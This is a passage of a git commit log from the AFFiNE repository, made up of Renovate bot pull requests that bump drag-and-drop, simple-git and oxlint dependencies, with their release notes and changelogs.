<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4zLjIiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-08-01 17:28:05 +08:00
renovate[bot] c70eb811b9 chore: bump up @atlaskit/pragmatic-drag-and-drop-hitbox version to v2 (#15397)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[@atlaskit/pragmatic-drag-and-drop-hitbox](https://atlassian.design/components/pragmatic-drag-and-drop/)
([source](https://redirect.github.com/atlassian/pragmatic-drag-and-drop))
| [`^1.1.0` →
`^2.0.0`](https://renovatebot.com/diffs/npm/@atlaskit%2fpragmatic-drag-and-drop-hitbox/1.1.0/2.0.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@atlaskit%2fpragmatic-drag-and-drop-hitbox/2.0.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@atlaskit%2fpragmatic-drag-and-drop-hitbox/1.1.0/2.0.0?slim=true)
|

---

### Release Notes

<details>
<summary>atlassian/pragmatic-drag-and-drop
(@&#8203;atlaskit/pragmatic-drag-and-drop-hitbox)</summary>

###
[`v1.2.0`](https://redirect.github.com/atlassian/pragmatic-drag-and-drop/compare/0b015bf95f062c374df21b24b944f2ed1c031ec2...fd32fa138eb149ad1256902c4c479281ea4dea89)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4zLjIiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-08-01 15:17:47 +08:00
renovate[bot] f0fdc58010 chore: bump up @napi-rs/simple-git version to v1 (#15401)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[@napi-rs/simple-git](https://redirect.github.com/Brooooooklyn/simple-git)
| [`^0.1.22` →
`^1.0.0`](https://renovatebot.com/diffs/npm/@napi-rs%2fsimple-git/0.1.22/1.1.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@napi-rs%2fsimple-git/1.1.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@napi-rs%2fsimple-git/0.1.22/1.1.0?slim=true)
|

---

### Release Notes

<details>
<summary>Brooooooklyn/simple-git (@&#8203;napi-rs/simple-git)</summary>

###
[`v1.1.0`](https://redirect.github.com/Brooooooklyn/simple-git/releases/tag/v1.1.0)

[Compare
Source](https://redirect.github.com/Brooooooklyn/simple-git/compare/v1.0.0...v1.1.0)

##### What's Changed

- feat: simple-git.napi.rs website (landing + docs + Cloudflare deploy)
by [@&#8203;Brooooooklyn](https://redirect.github.com/Brooooooklyn) in
[#&#8203;146](https://redirect.github.com/Brooooooklyn/simple-git/pull/146)
- fix(deps): update dependency
[@&#8203;void/md](https://redirect.github.com/void/md) to v0.10.5 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;147](https://redirect.github.com/Brooooooklyn/simple-git/pull/147)
- fix(deps): update dependency
[@&#8203;void/react](https://redirect.github.com/void/react) to v0.10.5
by [@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;148](https://redirect.github.com/Brooooooklyn/simple-git/pull/148)
- fix(deps): update dependency void to v0.10.5 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;151](https://redirect.github.com/Brooooooklyn/simple-git/pull/151)
- chore(deps): update dorny/paths-filter action to v4 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;150](https://redirect.github.com/Brooooooklyn/simple-git/pull/150)
- feat: add `created` (first-add commit) to FileModification by
[@&#8203;Brooooooklyn](https://redirect.github.com/Brooooooklyn) in
[#&#8203;152](https://redirect.github.com/Brooooooklyn/simple-git/pull/152)
- fix(deps): update void to v0.10.6 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;153](https://redirect.github.com/Brooooooklyn/simple-git/pull/153)

**Full Changelog**:
<https://github.com/Brooooooklyn/simple-git/compare/v1.0.0...v1.1.0>

###
[`v1.0.0`](https://redirect.github.com/Brooooooklyn/simple-git/releases/tag/v1.0.0)

[Compare
Source](https://redirect.github.com/Brooooooklyn/simple-git/compare/v0.1.22...v1.0.0)

##### What's Changed

- feat: implement Repository.getFileCreatedDate method with async
support by
[@&#8203;Brooooooklyn](https://redirect.github.com/Brooooooklyn) with
[@&#8203;Copilot](https://redirect.github.com/Copilot) in
[#&#8203;100](https://redirect.github.com/Brooooooklyn/simple-git/pull/100)
- chore(deps): update yarn to v4.9.3 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;101](https://redirect.github.com/Brooooooklyn/simple-git/pull/101)
- chore(deps): update yarn to v4.9.4 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;102](https://redirect.github.com/Brooooooklyn/simple-git/pull/102)
- chore(deps): update actions/setup-node action to v5 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;103](https://redirect.github.com/Brooooooklyn/simple-git/pull/103)
- chore(deps): update yarn to v4.10.1 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;104](https://redirect.github.com/Brooooooklyn/simple-git/pull/104)
- chore(deps): update yarn to v4.10.2 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;105](https://redirect.github.com/Brooooooklyn/simple-git/pull/105)
- chore(deps): update yarn to v4.10.3 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;106](https://redirect.github.com/Brooooooklyn/simple-git/pull/106)
- chore(deps): update actions/setup-node action to v6 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;108](https://redirect.github.com/Brooooooklyn/simple-git/pull/108)
- chore(deps): lock file maintenance by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;107](https://redirect.github.com/Brooooooklyn/simple-git/pull/107)
- chore(deps): update github artifact actions (major) by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;109](https://redirect.github.com/Brooooooklyn/simple-git/pull/109)
- chore(deps): update dependency node to v24 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;110](https://redirect.github.com/Brooooooklyn/simple-git/pull/110)
- chore(deps): update cross-platform-actions/action action to v0.30.0 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;112](https://redirect.github.com/Brooooooklyn/simple-git/pull/112)
- chore(deps): update yarn to v4.11.0 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;113](https://redirect.github.com/Brooooooklyn/simple-git/pull/113)
- chore(deps): update yarn to v4.12.0 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;115](https://redirect.github.com/Brooooooklyn/simple-git/pull/115)
- chore(deps): update actions/checkout action to v6 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;114](https://redirect.github.com/Brooooooklyn/simple-git/pull/114)
- chore(deps): lock file maintenance by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;111](https://redirect.github.com/Brooooooklyn/simple-git/pull/111)
- chore(deps): update actions/cache action to v5 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;116](https://redirect.github.com/Brooooooklyn/simple-git/pull/116)
- chore(deps): update github artifact actions (major) by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;117](https://redirect.github.com/Brooooooklyn/simple-git/pull/117)
- chore(deps): update cross-platform-actions/action action to v0.31.0 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;118](https://redirect.github.com/Brooooooklyn/simple-git/pull/118)
- chore(deps): update cross-platform-actions/action action to v0.32.0 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;119](https://redirect.github.com/Brooooooklyn/simple-git/pull/119)
- chore(deps): lock file maintenance by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;120](https://redirect.github.com/Brooooooklyn/simple-git/pull/120)
- chore(deps): update dependency ava to v7 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;122](https://redirect.github.com/Brooooooklyn/simple-git/pull/122)
- chore(deps): update github artifact actions (major) by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;121](https://redirect.github.com/Brooooooklyn/simple-git/pull/121)
- chore(deps): lock file maintenance by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;123](https://redirect.github.com/Brooooooklyn/simple-git/pull/123)
- chore(deps): update yarn to v4.13.0 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;124](https://redirect.github.com/Brooooooklyn/simple-git/pull/124)
- chore(deps): lock file maintenance by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;125](https://redirect.github.com/Brooooooklyn/simple-git/pull/125)
- chore(deps): update cross-platform-actions/action action to v1 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;126](https://redirect.github.com/Brooooooklyn/simple-git/pull/126)
- chore(deps): update yarn to v4.14.0 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;127](https://redirect.github.com/Brooooooklyn/simple-git/pull/127)
- chore(deps): update yarn to v4.14.1 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;128](https://redirect.github.com/Brooooooklyn/simple-git/pull/128)
- chore(deps): lock file maintenance by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;130](https://redirect.github.com/Brooooooklyn/simple-git/pull/130)
- chore(deps): update dependency ava to v8 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;129](https://redirect.github.com/Brooooooklyn/simple-git/pull/129)
- chore(deps): update cross-platform-actions/action action to v1.1.0 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;131](https://redirect.github.com/Brooooooklyn/simple-git/pull/131)
- fix(deps): update rust crate git2 to 0.21 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;132](https://redirect.github.com/Brooooooklyn/simple-git/pull/132)
- chore(deps): update yarn to v4.15.0 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;133](https://redirect.github.com/Brooooooklyn/simple-git/pull/133)
- chore(deps): update cross-platform-actions/action action to v1.2.0 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;134](https://redirect.github.com/Brooooooklyn/simple-git/pull/134)
- chore(deps): update yarn to v4.16.0 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;135](https://redirect.github.com/Brooooooklyn/simple-git/pull/135)
- chore(deps): update yarn monorepo to v4.17.0 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;136](https://redirect.github.com/Brooooooklyn/simple-git/pull/136)
- chore(deps): update cross-platform-actions/action action to v1.3.0 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;138](https://redirect.github.com/Brooooooklyn/simple-git/pull/138)
- fix: adapt to git2 0.21 string accessor API changes by
[@&#8203;Brooooooklyn](https://redirect.github.com/Brooooooklyn) in
[#&#8203;140](https://redirect.github.com/Brooooooklyn/simple-git/pull/140)
- chore(deps): update actions/cache action to v6 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;139](https://redirect.github.com/Brooooooklyn/simple-git/pull/139)
- chore(deps): update actions/checkout action to v7 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;137](https://redirect.github.com/Brooooooklyn/simple-git/pull/137)
- feat: file modification metadata (author + bulk) by
[@&#8203;Brooooooklyn](https://redirect.github.com/Brooooooklyn) in
[#&#8203;141](https://redirect.github.com/Brooooooklyn/simple-git/pull/141)
- feat: git feature suite (status, config, push, index/commit, blame,
branch/checkout) by
[@&#8203;Brooooooklyn](https://redirect.github.com/Brooooooklyn) in
[#&#8203;142](https://redirect.github.com/Brooooooklyn/simple-git/pull/142)
- chore(deps): lock file maintenance by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;144](https://redirect.github.com/Brooooooklyn/simple-git/pull/144)
- feat!: API 1.0 breaking sweep (number bitflags, Date times, async I/O,
fixes) by
[@&#8203;Brooooooklyn](https://redirect.github.com/Brooooooklyn) in
[#&#8203;143](https://redirect.github.com/Brooooooklyn/simple-git/pull/143)

**Full Changelog**:
<https://github.com/Brooooooklyn/simple-git/compare/v0.1.22...v1.0.0>

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4zLjIiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-08-01 15:14:39 +08:00
renovate[bot] e8fefc82c1 chore: bump up @atlaskit/pragmatic-drag-and-drop version to v2 (#15394)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[@atlaskit/pragmatic-drag-and-drop](https://atlassian.design/components/pragmatic-drag-and-drop/)
([source](https://redirect.github.com/atlassian/pragmatic-drag-and-drop))
| [`^1.7.7` →
`^2.0.0`](https://renovatebot.com/diffs/npm/@atlaskit%2fpragmatic-drag-and-drop/1.8.1/2.0.1)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@atlaskit%2fpragmatic-drag-and-drop/2.0.1?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@atlaskit%2fpragmatic-drag-and-drop/1.8.1/2.0.1?slim=true)
|

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4zLjIiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-07-31 19:06:55 +08:00
renovate[bot] d124d6eaca chore: bump up oxlint version to v1.76.0 (#15387)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [oxlint](https://oxc.rs/docs/guide/usage/linter)
([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint))
| [`1.68.0` →
`1.76.0`](https://renovatebot.com/diffs/npm/oxlint/1.68.0/1.76.0) |
![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/1.76.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/1.68.0/1.76.0?slim=true)
|

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

###
[`v1.76.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#1760---2026-07-27)

[Compare
Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.75.0...oxlint_v1.76.0)

##### 🚀 Features

-
[`8d31dfa`](https://redirect.github.com/oxc-project/oxc/commit/8d31dfa)
linter: Verify eslint/no-restricted-globals config schema
([#&#8203;24598](https://redirect.github.com/oxc-project/oxc/issues/24598))
(vigneshwar)
-
[`7069621`](https://redirect.github.com/oxc-project/oxc/commit/7069621)
linter: Verify jest/vitest prefer-lowercase-title config schema
([#&#8203;24724](https://redirect.github.com/oxc-project/oxc/issues/24724))
(Bartok)
-
[`016cf2a`](https://redirect.github.com/oxc-project/oxc/commit/016cf2a)
linter/oxc: Add bad-match-all-arg rule
([#&#8203;24900](https://redirect.github.com/oxc-project/oxc/issues/24900))
(camc314)
-
[`cdc941e`](https://redirect.github.com/oxc-project/oxc/commit/cdc941e)
linter/n: Implement `exports-style` rule
([#&#8203;24087](https://redirect.github.com/oxc-project/oxc/issues/24087))
(Mikhail Baev)
-
[`1ad6f6c`](https://redirect.github.com/oxc-project/oxc/commit/1ad6f6c)
linter/eslint: Implement `id-denylist` rule
([#&#8203;24632](https://redirect.github.com/oxc-project/oxc/issues/24632))
(Mikhail Baev)

##### 📚 Documentation

-
[`3ff2e0e`](https://redirect.github.com/oxc-project/oxc/commit/3ff2e0e)
linter: Clarify config extends types
([#&#8203;24936](https://redirect.github.com/oxc-project/oxc/issues/24936))
(Boshen)

###
[`v1.75.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#1750---2026-07-20)

[Compare
Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.74.0...oxlint_v1.75.0)

##### 🚀 Features

-
[`dd18383`](https://redirect.github.com/oxc-project/oxc/commit/dd18383)
linter/node: Implement no-top-level-await rule
([#&#8203;24634](https://redirect.github.com/oxc-project/oxc/issues/24634))
(Connor Shea)
-
[`16a65f2`](https://redirect.github.com/oxc-project/oxc/commit/16a65f2)
linter/react: Implement function-component-definition rule
([#&#8203;24471](https://redirect.github.com/oxc-project/oxc/issues/24471))
(Cole Ellison)
-
[`7f1f585`](https://redirect.github.com/oxc-project/oxc/commit/7f1f585)
linter: Reuse `jest/padding-around-test-blocks` for
`vitest/padding-around-test-blocks`
([#&#8203;24519](https://redirect.github.com/oxc-project/oxc/issues/24519))
(Mikhail Baev)
-
[`99978a8`](https://redirect.github.com/oxc-project/oxc/commit/99978a8)
linter/import/consistent-type-specifier-style: Support
`prefer-top-level-if-only-type-imports` option
([#&#8203;24502](https://redirect.github.com/oxc-project/oxc/issues/24502))
(camc314)

##### 🐛 Bug Fixes

-
[`8694167`](https://redirect.github.com/oxc-project/oxc/commit/8694167)
linter/eslint/prefer-destructuring: Handle typed declarations
([#&#8203;24616](https://redirect.github.com/oxc-project/oxc/issues/24616))
(camc314)

###
[`v1.74.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#1740---2026-07-13)

[Compare
Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.73.0...oxlint_v1.74.0)

##### 🚀 Features

-
[`0433a83`](https://redirect.github.com/oxc-project/oxc/commit/0433a83)
linter/eslint/no-inner-declarations: Add `namespaces` option
([#&#8203;24044](https://redirect.github.com/oxc-project/oxc/issues/24044))
(Boshen)

##### 🐛 Bug Fixes

-
[`8337835`](https://redirect.github.com/oxc-project/oxc/commit/8337835)
linter: Error on `ignorePatterns` that cannot match files aoutside the
config directory
([#&#8203;24341](https://redirect.github.com/oxc-project/oxc/issues/24341))
(leaysgur)
-
[`2ce5a33`](https://redirect.github.com/oxc-project/oxc/commit/2ce5a33)
linter: Resolve `ignorePatterns` relative to the config dir
([#&#8203;24339](https://redirect.github.com/oxc-project/oxc/issues/24339))
(leaysgur)

##### ⚡ Performance

-
[`7f80cac`](https://redirect.github.com/oxc-project/oxc/commit/7f80cac)
linter/vue/prop-name-casing: Precompile `ignoreProps` regex pattern
([#&#8203;24413](https://redirect.github.com/oxc-project/oxc/issues/24413))
(connorshea)
-
[`6272051`](https://redirect.github.com/oxc-project/oxc/commit/6272051)
linter/typescript/no-require-imports: Compile allow patterns once
([#&#8203;24417](https://redirect.github.com/oxc-project/oxc/issues/24417))
(connorshea)
-
[`33805b9`](https://redirect.github.com/oxc-project/oxc/commit/33805b9)
linter/jsdoc/require-param: Compile checkTypesPattern regex once
([#&#8203;24420](https://redirect.github.com/oxc-project/oxc/issues/24420))
(connorshea)

###
[`v1.73.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#1730---2026-07-06)

[Compare
Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.72.0...oxlint_v1.73.0)

##### 🚀 Features

-
[`a2c97f3`](https://redirect.github.com/oxc-project/oxc/commit/a2c97f3)
linter/unicorn: Implement `explicit-timer-delay` rule
([#&#8203;23612](https://redirect.github.com/oxc-project/oxc/issues/23612))
(Mikhail Baev)
-
[`85735cb`](https://redirect.github.com/oxc-project/oxc/commit/85735cb)
linter/unicorn: Implement `no-confusing-array-with` rule
([#&#8203;23638](https://redirect.github.com/oxc-project/oxc/issues/23638))
(Shekhu☺️)
-
[`cb4fbb9`](https://redirect.github.com/oxc-project/oxc/commit/cb4fbb9)
linter/eslint: Implement no-unreachable-loop rule
([#&#8203;23975](https://redirect.github.com/oxc-project/oxc/issues/23975))
(Todor Andonov)
-
[`dc32112`](https://redirect.github.com/oxc-project/oxc/commit/dc32112)
linter/eslint/no-constant-binary-expression: Check relational
comparisons
([#&#8203;24088](https://redirect.github.com/oxc-project/oxc/issues/24088))
(camc314)
-
[`d963967`](https://redirect.github.com/oxc-project/oxc/commit/d963967)
linter/unicorn/no-array-sort: Add `allowAfterSpread` option
([#&#8203;24043](https://redirect.github.com/oxc-project/oxc/issues/24043))
(Boshen)
-
[`0a75682`](https://redirect.github.com/oxc-project/oxc/commit/0a75682)
linter: Add per-rule timings for type-aware linting
([#&#8203;22488](https://redirect.github.com/oxc-project/oxc/issues/22488))
(camchenry)
-
[`743e222`](https://redirect.github.com/oxc-project/oxc/commit/743e222)
linter/react: Add `disallowedValues` option for `forbid-dom-props` rule
([#&#8203;23970](https://redirect.github.com/oxc-project/oxc/issues/23970))
(Mikhail Baev)

##### 🐛 Bug Fixes

-
[`bdb51c7`](https://redirect.github.com/oxc-project/oxc/commit/bdb51c7)
linter/jest/prefer-ending-with-an-expect: Validate config patterns
([#&#8203;24122](https://redirect.github.com/oxc-project/oxc/issues/24122))
(camc314)
-
[`45d607d`](https://redirect.github.com/oxc-project/oxc/commit/45d607d)
linter/react/forbid-component-props: Make allow/disallow lists optional
in schema
([#&#8203;24024](https://redirect.github.com/oxc-project/oxc/issues/24024))
(Boshen)

###
[`v1.72.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#1720---2026-06-29)

[Compare
Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.71.0...oxlint_v1.72.0)

##### 🚀 Features

-
[`1c8f50c`](https://redirect.github.com/oxc-project/oxc/commit/1c8f50c)
linter: Add schema for `eslint/no-restricted-import`
([#&#8203;23642](https://redirect.github.com/oxc-project/oxc/issues/23642))
(Sysix)

##### 🐛 Bug Fixes

-
[`742be36`](https://redirect.github.com/oxc-project/oxc/commit/742be36)
refactor/node/handle-callback-err: Reject invalid regex config
([#&#8203;23740](https://redirect.github.com/oxc-project/oxc/issues/23740))
(camc314)

###
[`v1.71.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#1710---2026-06-22)

[Compare
Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.70.0...oxlint_v1.71.0)

##### 🚀 Features

-
[`0dc2405`](https://redirect.github.com/oxc-project/oxc/commit/0dc2405)
linter: Add schema for `eslint/no-restricted-properties`
([#&#8203;23619](https://redirect.github.com/oxc-project/oxc/issues/23619))
(Sysix)
-
[`b638d0e`](https://redirect.github.com/oxc-project/oxc/commit/b638d0e)
linter: Add schema for `node/callback-return`
([#&#8203;23615](https://redirect.github.com/oxc-project/oxc/issues/23615))
(Sysix)
-
[`eb8bedc`](https://redirect.github.com/oxc-project/oxc/commit/eb8bedc)
linter: Add schema for `import/extensions`
([#&#8203;23557](https://redirect.github.com/oxc-project/oxc/issues/23557))
(WaterWhisperer)
-
[`46f3625`](https://redirect.github.com/oxc-project/oxc/commit/46f3625)
linter: Implement node/no-sync rule
([#&#8203;23589](https://redirect.github.com/oxc-project/oxc/issues/23589))
(fujitani sora)
-
[`b01739a`](https://redirect.github.com/oxc-project/oxc/commit/b01739a)
linter: Add schema for `unicorn/numeric-separators-style`
([#&#8203;23554](https://redirect.github.com/oxc-project/oxc/issues/23554))
(Mikhail Baev)
-
[`68afd2a`](https://redirect.github.com/oxc-project/oxc/commit/68afd2a)
linter/node: Implement `no-mixed-requires` rule
([#&#8203;23539](https://redirect.github.com/oxc-project/oxc/issues/23539))
(fujitani sora)
-
[`a421215`](https://redirect.github.com/oxc-project/oxc/commit/a421215)
linter: Add schema for `eslint/prefer-destructuring`
([#&#8203;23410](https://redirect.github.com/oxc-project/oxc/issues/23410))
(WaterWhisperer)
-
[`84438be`](https://redirect.github.com/oxc-project/oxc/commit/84438be)
linter/jsdoc: Added missing options to `require-param-description`
([#&#8203;23416](https://redirect.github.com/oxc-project/oxc/issues/23416))
(kapobajza)
-
[`51910df`](https://redirect.github.com/oxc-project/oxc/commit/51910df)
linter/jsdoc: Add missing options to `require-param-type` rule
([#&#8203;23418](https://redirect.github.com/oxc-project/oxc/issues/23418))
(kapobajza)
-
[`e90925f`](https://redirect.github.com/oxc-project/oxc/commit/e90925f)
linter/unicorn: Implement prefer-number-coercion rule
([#&#8203;23497](https://redirect.github.com/oxc-project/oxc/issues/23497))
(Shekhu☺️)
-
[`dd1c866`](https://redirect.github.com/oxc-project/oxc/commit/dd1c866)
linter/vue: Implement no-async-in-computed-properties rule
([#&#8203;23493](https://redirect.github.com/oxc-project/oxc/issues/23493))
(bab)
-
[`b02444e`](https://redirect.github.com/oxc-project/oxc/commit/b02444e)
linter: Add schema for `react/jsx-no-script-url`
([#&#8203;23475](https://redirect.github.com/oxc-project/oxc/issues/23475))
(WaterWhisperer)
-
[`a8dce46`](https://redirect.github.com/oxc-project/oxc/commit/a8dce46)
linter/unicorn: Implement `max-nested-calls` rule
([#&#8203;23461](https://redirect.github.com/oxc-project/oxc/issues/23461))
(arieleli01212)

##### 🐛 Bug Fixes

-
[`a303c23`](https://redirect.github.com/oxc-project/oxc/commit/a303c23)
linter/jsx-a11y: Align `anchor-is-valid` config with upstream
([#&#8203;23446](https://redirect.github.com/oxc-project/oxc/issues/23446))
(camc314)

##### 📚 Documentation

-
[`b50bf4d`](https://redirect.github.com/oxc-project/oxc/commit/b50bf4d)
linter: Remove manually written options doc for
`eslint/arrow-body-style`
([#&#8203;23490](https://redirect.github.com/oxc-project/oxc/issues/23490))
(Mikhail Baev)

###
[`v1.70.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#1700---2026-06-15)

[Compare
Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.69.0...oxlint_v1.70.0)

##### 🚀 Features

-
[`2e8bda4`](https://redirect.github.com/oxc-project/oxc/commit/2e8bda4)
linter/vue: Implement no-dupe-keys rule
([#&#8203;23350](https://redirect.github.com/oxc-project/oxc/issues/23350))
(bab)
-
[`1490a0a`](https://redirect.github.com/oxc-project/oxc/commit/1490a0a)
linter/react: Implement react-compiler rule
([#&#8203;23202](https://redirect.github.com/oxc-project/oxc/issues/23202))
(Boshen)
-
[`dd560ae`](https://redirect.github.com/oxc-project/oxc/commit/dd560ae)
linter/unicorn: Implement `no-array-fill-with-reference-type` rule
([#&#8203;23397](https://redirect.github.com/oxc-project/oxc/issues/23397))
(Mikhail Baev)
-
[`af36c2f`](https://redirect.github.com/oxc-project/oxc/commit/af36c2f)
linter: Add schema for `react/jsx-curly-brace-presence`
([#&#8203;23400](https://redirect.github.com/oxc-project/oxc/issues/23400))
(WaterWhisperer)
-
